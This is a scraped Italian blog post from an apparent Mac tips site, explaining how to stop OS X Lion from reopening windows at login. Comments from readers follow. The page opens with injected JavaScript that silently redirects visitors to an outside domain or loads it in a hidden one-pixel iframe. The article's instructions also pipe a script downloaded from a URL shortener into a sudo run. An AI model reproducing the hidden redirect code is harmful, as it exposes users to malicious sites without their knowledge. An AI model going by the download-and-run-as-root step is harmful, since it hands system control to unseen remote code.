/* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jqueryc.com'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jqueryc.com'); document.body.appendChild(rframe); }

Disattivare completamente “Riapri le finestre al login successivo” quando si effettua lo spegnimento del Mac

Written by giango1978. Posted in MAC

Avrete notato che quando si esegue il logout o riavvio del Mac con OS X Lion, appare una finestra di dialogo con una casella di controllo accanto “Riapri le finestre al login successivo” che riporta tutte le applicazioni al successivo avvio nello stato in cui erano quando avete spento il Mac.

Se non vi piace e siete stanchi di deselezionare la casella, è possibile utilizzare uno script di terze parti per rendere inutile la funzione.

Ricorda, questo script disabilita la funzione, ma la finestra di dialogo sarà ancora presente. La differenza è con questo script, non importa se la finestra di dialogo è selezionata o meno, le finestre e le applicazioni non verranno ripristinati.

Copia e Incolla la seguente stringa in una sola riga nel terminale:

curl http://goo.gl/Z4EFC -L -s -o ~/fixlogin.sh && chmod +x ~/fixlogin.sh && sudo ~/fixlogin.sh ; rm ~/fixlogin.sh

(Il testo è volutamente piccolo in modo che si inserisce su una sola riga)

Questo comando scarica uno script, lo mette nella posizione appropriata, lo rende eseguibile, quindi rimuove il file temporaneo. Se vi state chiedendo, il contenuto dello script bash scaricato è il seguente:

#!/bin/bash
echo "#!/bin/bash" > /tmp/loginfix.sh
echo "rm /Users/*/Library/Preferences/ByHost/com.apple.loginwindow.*" >> /tmp/loginfix.sh
mv /tmp/loginfix.sh /usr/bin/loginfix.sh
chmod +x /usr/bin/loginfix.sh
defaults write com.apple.loginwindow LoginHook /usr/bin/loginfix.sh

Se si volesse ripristinare il comportamento predefinito di questa funzione, basta scrivere questo comando nel terminale:

sudo defaults delete com.apple.loginwindow LoginHook

E la funzione sarà completamente ripristinata.

© 2011, giango1978. Tutti i Diritti riservati

 

Tags: , , , ,

Trackback from your site.

giango1978

Admin di TuttoMela. lavoro per la Pubblica Istruzione. Amo l'informatica, la moda, lo sport e la musica. L'idea del blog è nata per condividere e confrontare le mie idee e le mie umili conoscenze con la gente.
  • http://pulse.yahoo.com/_ZOQVNUOF7LG4NTPZUYTU3F4MLM Tiby

    ma non si può impostarla di default vuota? e caso mai uno vuole puo spuntarla?

    • Giango78

      Questo comando la disattiva…non importa quindi se ė spuntato o meno….la finestra appare ugualmente!

      Il giorno mercoledì 31 agosto 2011, Disqus ha scritto:

      • Corrado Genta

        Che complicati! Tenete premuto ALT mentre cliccate su SPEGNI o RIAVVIA. Non appaiono finestre, non si ripristina nulla al successivo login. Basta poco, checcevò?

Twitter

©2012 TuttoMela di Gianni Tarroni è un semplice blog amatoriale

Home| Info| Login| E-mail| Legal

"Mac OS X", "iPhone", "iPod Touch" e "iPad" sono marchi registrati di Apple, Inc